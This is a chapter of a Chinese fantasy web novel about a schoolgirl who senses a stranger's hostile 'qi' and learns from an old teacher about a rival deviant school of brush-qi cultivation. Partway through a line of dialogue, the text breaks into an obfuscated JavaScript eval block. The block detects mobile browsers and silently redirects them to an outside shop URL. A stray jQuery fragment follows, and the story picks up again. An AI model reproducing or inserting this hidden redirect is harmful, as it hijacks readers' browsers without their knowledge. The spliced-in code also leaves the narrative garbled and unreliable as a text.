十月底的鄂西南,天黑得早。下午五点多太阳就落了山,六点钟天就全黑了。厂区的路灯亮起来,昏黄的光照在水泥路面上,把人的影子拉得很长。
张清放学回家,在宿舍楼下面跟隔壁小军踢毽子。毽子是刘婶用鸡毛和铜钱做的,底座是两片圆铁皮夹着铜钱,上面插了三根公鸡尾巴毛,红绿相间,踢起来啪啪响。
小军比她大一岁,能踢出花样来,内踢外踢交叉踢后勾踢。张清踢不过他,但小军让她。
"小清,你踢了十几个了。歇会儿吧。"
张清点点头,坐在路边台阶上。后背的汗衫湿了一块,贴在身上有点凉。她从书包里拿出水壶喝了几口水,抬起头。
然后她看见了那个人。
那个人站在厂区外面的土路上,离她大概五十米远。土路在宿舍楼南边,隔着一条水沟。水沟里流着车间排出来的冷却水,清澈见底。水沟边上长了一排低矮的灌木,叶子黄了大半。
那个人就站在水沟对面。
他穿着一件灰色中山装。腰间系着黑色布带。脚上千层底布鞋沾了泥,走了很远的路。手里拎着一个灰色包袱,比上次陈苗苗说的那个"穿灰色衣服的叔叔"拎的更大一些。
他没有走过来。就站在那里,看着张清。
小军也在看他。"那人是谁?穿得怪里怪气的。"
张清没有回答。
两个人隔着五十米的距离对视。中间是一条水沟、一排灌木、一段空旷的泥地。泥地上有几棵枯了的高草,在风里摇来摇去。
张清感觉到了。
那种感觉和面对马半仙完全不同。马半仙身上什么"气"都没有,空空的,像一个漏了底的桶。但这个中年人身上有"气"。是一种更沉、更厚的东西。像一块被水冲了很多年的石头,表面光滑,里面很硬。你推不动它,但它也不动你。
还有别的。
张清皱了皱眉。那个人的"气"上面,裹着一层浊。闷的,滞的,像阴沟里沤了很久的淤泥味。这股浊气她以前在王大爷腰上感知到过,当时以为是病气。现在又在陌生人身上出现了。
不对。这股浊气好像不像从中年人身上发出来的。像从更远的地方飘过来的,沾在他身上,像衣服上沾了别人的烟味。
中年人从口袋里掏出一张纸。很小,像是从笔记本上撕下来的。他把纸举起来,对着张清的方向。
张清看不清纸上写了什么。太远了。但她感觉到了,那张纸上有"气"。很冷。很硬。是冬天摸铁栏杆的那种冷。
中年人举着那张纸,看了张清大概五秒钟。然后把纸收回去,转身走了。
他走得很慢,步子不快但很稳。沿着土路往西走了二十来米,拐进路边的小树林。林子不大,几十棵松树和杉树混着长,有一条弯弯曲曲的小路通向后山。
他进去了。
小军凑过来:"哎,那人是不是在看你?他刚才举的什么?"
"没什么。可能是个算命的。走吧,回家了。"
张清拍了拍裤子上的土,拎着水壶上了楼。
那天晚上,张清没有告诉任何人。她没有告诉母亲,母亲是医生,信科学,告诉她只会让她担心。她没有告诉父亲,父亲已经够操心了,爷爷的事是父亲心里的一根刺,她不想让父亲再多一根。
她躺在床上,想着那个人的眼神。
那种眼神她以前没见过。跟马半仙阴沉沉的恨不同,是一种审视。是在看一件东西,看它的成色,看它是玉还是石头。
张清不喜欢这种眼神。但她知道,这种眼神她以后会遇到更多。
她翻了个身。窗外的月亮很圆,月光照在天花板上,像一层薄薄的霜。远处的车间汽笛响了一声,夜班开始了。
她想起了那股浊气。王大爷腰上的,灰色中山装中年人身上的。两股浊气的感觉很像。如果王大爷腰上的浊气也是外来的,那之前以为他只是普通腰伤就错了。
有人在干扰"气"。
但谁?为什么?
第二天是星期六。张清去了周伯年那里。
老人正在院子里劈柴。七十三了,身体还硬朗。斧头举起来落下去,每一斧都劈得准。柴是松木,油脂多,劈开的时候有一股清苦的香味。劈好的柴码在墙边,整整齐齐一摞。
"周老师。"
"来了。坐。"
周伯年劈完了柴,洗了手,泡了茶,坐在院子里的竹椅上。他从胸前摘下老花镜,用衣角擦了擦镜片,又挂回去。张清坐在对面。
"有事?"
张清想了想,组织了一下语言。
"昨天傍晚,我看见一个人。穿灰色中山装的。中年人。站在厂区外面的土路上,看着我。"
周伯年的手停了一下。他端着茶杯,没有喝。
"长什么样?"
"四十来岁。方脸。下巴右边有一道疤,从下巴延伸到脖子。"
"他手里拿着什么?"
"一个灰色包袱。还有,他举了一张纸。对着我。那张纸上有'气'。很冷,很硬。"
周伯年把茶杯放下了。他看着张清,又摘下老花镜擦了擦。
"你感觉到了'气'。不是你的'意'。是他的'气'。"
"对。"
"正道的'意'是流动的。偏道的'气'是凝滞的。你说他的'气'冷、硬,那是偏道的特征。"
"偏道?"
"你爷爷在世的时候,有一个对手。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809180|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爷爷走正道,那个人走偏道。偏道不用笔,以气驭物,不需要纸和墨。"
"他为什么来?"
周伯年看着院子里的竹子。夕阳从云层里透出来,把竹子的影子投在地上,长长的。
"你爷爷说过一句话,'笔意一道,正偏同根。早晚有一天,偏道的人会来找你。'他举的那张纸,是试气符。试探你的'意'有多强。"
"他试出来了?"
"他知道你'有'。但不知道你有'多强'。试气符只能试出你有没有'意',试不出'意'有多深。"
张清的心沉了一下。
"那他接下来会怎么做?"
周伯年端起茶杯。茶已经凉了。
"偏道讲究'时机'。他不会马上动手。他要看清楚你的底细,看清楚你的能力,看清楚你的背景。然后做选择。要么收你当徒弟,要么灭你。"
"收我?"
"如果你天赋够高,他会想收你。正道的笔意,偏道的人也想学。偏道虽然快,但走到最后会遇到瓶颈,因为'气'是硬的,走到极致就碎了。正道的'意'是流动的,走到极致是通的。"
"那要是我不愿意呢?"
周伯年没有回答。他放下茶杯,看着张清。
"你爷爷说过,正偏之争,从来不是对错之争。是路之争。你走你的路,他走他的路。但如果两条路撞上了,那就看谁的路更硬。"
张清想了想,又说:"还有一件事。那个人身上,除了他自己的'气',还有一股浊气。不是他的。像是从外面沾上去的。我之前在王大爷腰上也感知到过类似的。当时以为是病气,现在看来不对。"
周伯年停下了擦镜片的动作。
"浊气?什么感觉?"
"闷的。浊的。像淤泥。"
老人沉默了很久。他把老花镜摘下来,挂在胸前,手指在拴镜片的绳子上摩挲着。
"你记住这件事。"他说。"如果那股浊气不是偏道带来的,那就另有来头。有人在搅这周围的气。"
张清点了点头。
那天晚上,张清回到家里,在房间里坐了很久。她磨了墨,铺了纸,拿起乌木笔。
她写了一个"定"字。
写完以后她盯着看了很久。"定"字里面有"意",流动的、温的、沉稳的。是水,也是大地。
她的"意"比以前更强了。每天都在变强。
她把纸折好,放在抽屉里。然后躺到床上,闭上眼睛。
窗外的风在吹。竹叶沙沙响。远处的车间机器声嗡嗡的。
梦里,她又看见了那个中山装中年人。中年人站在她面前,举着一张纸。纸上只有一个字。
"来。"